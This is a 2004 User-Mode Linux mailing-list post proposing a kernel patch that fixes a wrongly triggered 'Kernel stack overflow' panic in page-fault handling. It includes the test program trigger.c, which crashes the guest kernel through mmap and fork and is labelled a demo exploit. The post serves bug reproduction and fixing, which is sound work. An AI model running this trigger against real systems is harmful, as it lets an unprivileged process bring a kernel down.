Re: [uml-devel] bad panic "Kernel stack overflow" - demo exploit

[BlaisorBlade <blaisorblade_spam@yahoo.it>]

[-- Attachment #1: Type: text/plain, Size: 1851 bytes --]

Alle 21:33, giovedì 1 luglio 2004, BlaisorBlade ha scritto:
> Maybe you are right, and there should be some more fixes. But could you
> explain me if there is any valid reason for maybe_map to behave that way?
> It seems wrong to me, but I would wonder from it not causing bugs. But in
> fact is_user was not used by handle_page_fault, so we could just correct
> maybe_map(). Do you agree?
>
> However if you can build a test program, that could be useful (one which
> requires UML to dereference a pointer, so calling copy_*_user.) Maybe I'll
> write one myself.
>
> > Maybe Jeff remembers the intention of this panic,
> > because the whole
> >
> > 	if(page == (unsigned long) current + PAGE_SIZE)
> > 		panic("Kernel stack overflow");
> >
> > does not make any sense for me when checking user VMAs
>
> It's obvious that it does not make sense for user faults. In fact, that
> code is called both for user and for kernel faults; and the !is_user checks
> expresses exactly your sentence. If you mean that the check for a kernel
> stack overflow is wrong, you may be right.

> > On Linux 2.4.xx with 8k stacks, current+PAGE_SIZE is the upper
> > page of the kernel stack and always valid in kernel address space

Well, after replacing PAGE_SIZE with THREAD_SIZE, I remembered that the stack 
grows downward. I checked inside the fork() code (at copy_thread) that 
current (or current_thread in 2.6) is at the bottom of the stack, which goes 
down from (long) current + 2 * PAGE_SIZE to (long) current. So the overflow 
happens when address < current_thread (or address < current).

So, this is the attached patch I propose (the test program is included because 
I will not rebuild it afterwards, to send it to Jeff; I have tons of 
patches).
-- 
Paolo Giarrusso, aka Blaisorblade
Linux registered user n. 292729

[-- Attachment #2: check_is_user_before_panic.patch --]
[-- Type: text/x-diff, Size: 3937 bytes --]


From: Alex Züpke <azu@sysgo.de>, and me
SKAS mode is like 4G/4G (here we have actually 3G/3G) for guest processes,
so when checking for kernel stack overflow, we must first make sure
we are checking a kernel-space address.
Also, correctly test for stack overflows (i.e. check if there is less
than 1k of stack left; see arch/i386/kernel/irq.c:do_IRQ()).
And also, THREAD_SIZE != PAGE_SIZE * 2, in general (though
this setting is almost never changed, so we didn't notice this1).
Thanks to the good eye of Alex Züpke <azu@sysgo.de> for first seeing this bug,
and providing a test program:


/*
 * trigger.c - triggers panic("Kernel stack overflow") in UML
 *
 * 20040630, azu@sysgo.de
 */

#include <stdio.h>
#include <setjmp.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define LOW  0xa0000000
#define HIGH 0xb0000000

int main(int argc, char **argv)
{
	unsigned long addr;
	int fd;

	fd = open("/dev/zero", O_RDWR);

	printf("This may take some time ... one more cup of coffee ...\n");

	for(addr = LOW; addr < HIGH; addr += 0x1000)
	{
		pid_t p;
		if(mmap((void*)addr, 0x1000, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0) == MAP_FAILED)
			printf("mmap failed\n");

		p = fork();
		if(p == -1)
			printf("fork failed\n");

		if(p == 0)
		{
			/* child context */
			int *p = (int *)addr;
			volatile int x;

			x = *p;
			return 0;
		}
		/* father context */
		waitpid(p, 0, 0);

		if(munmap((void*)addr, 0x1000) == -1)
			printf("munmap failed\n");
	}

	close(fd);
	printf("done\n");
}

Signed-off-by: Paolo 'Blaisorblade' Giarrusso <blaisorblade_spam@yahoo.it>
---

 uml-linux-2.6.7-paolo/arch/um/kernel/process_kern.c |    2 +-
 uml-linux-2.6.7-paolo/arch/um/kernel/skas/uaccess.c |    2 +-
 uml-linux-2.6.7-paolo/arch/um/kernel/trap_kern.c    |    2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff -puN arch/um/kernel/trap_kern.c~check_is_user_before_panic arch/um/kernel/trap_kern.c
--- uml-linux-2.6.7/arch/um/kernel/trap_kern.c~check_is_user_before_panic	2004-06-30 21:34:05.000000000 +0200
+++ uml-linux-2.6.7-paolo/arch/um/kernel/trap_kern.c	2004-07-03 17:53:23.637305256 +0200
@@ -54,7 +54,7 @@ int handle_page_fault(unsigned long addr
 	if(is_write && !(vma->vm_flags & VM_WRITE)) 
 		goto out;
 	page = address & PAGE_MASK;
-	if(page == (unsigned long) current_thread + PAGE_SIZE)
+	if(address < (unsigned long) current_thread + 1024 && !is_user)
 		panic("Kernel stack overflow");
 	pgd = pgd_offset(mm, page);
 	pmd = pmd_offset(pgd, page);
diff -puN arch/um/kernel/skas/uaccess.c~check_is_user_before_panic arch/um/kernel/skas/uaccess.c
--- uml-linux-2.6.7/arch/um/kernel/skas/uaccess.c~check_is_user_before_panic	2004-07-02 12:55:21.000000000 +0200
+++ uml-linux-2.6.7-paolo/arch/um/kernel/skas/uaccess.c	2004-07-02 13:01:11.000000000 +0200
@@ -25,7 +25,7 @@ static unsigned long maybe_map(unsigned 
 	int dummy_code;
 
 	if(IS_ERR(phys) || (is_write && !pte_write(pte))){
-		err = handle_page_fault(virt, 0, is_write, 0, &dummy_code);
+		err = handle_page_fault(virt, 0, is_write, 1, &dummy_code);
 		if(err)
 			return(0);
 		phys = um_virt_to_phys(current, virt, NULL);
diff -puN arch/um/kernel/process_kern.c~check_is_user_before_panic arch/um/kernel/process_kern.c
--- uml-linux-2.6.7/arch/um/kernel/process_kern.c~check_is_user_before_panic	2004-07-03 16:41:39.473637592 +0200
+++ uml-linux-2.6.7-paolo/arch/um/kernel/process_kern.c	2004-07-03 17:53:21.867574296 +0200
@@ -165,7 +165,7 @@ int copy_thread(int nr, unsigned long cl
 {
 	p->thread = (struct thread_struct) INIT_THREAD;
 	p->thread.kernel_stack = 
-		(unsigned long) p->thread_info + 2 * PAGE_SIZE;
+		(unsigned long) p->thread_info + THREAD_SIZE;
 	return(CHOOSE_MODE_PROC(copy_thread_tt, copy_thread_skas, nr, 
 				clone_flags, sp, stack_top, p, regs));
 }
_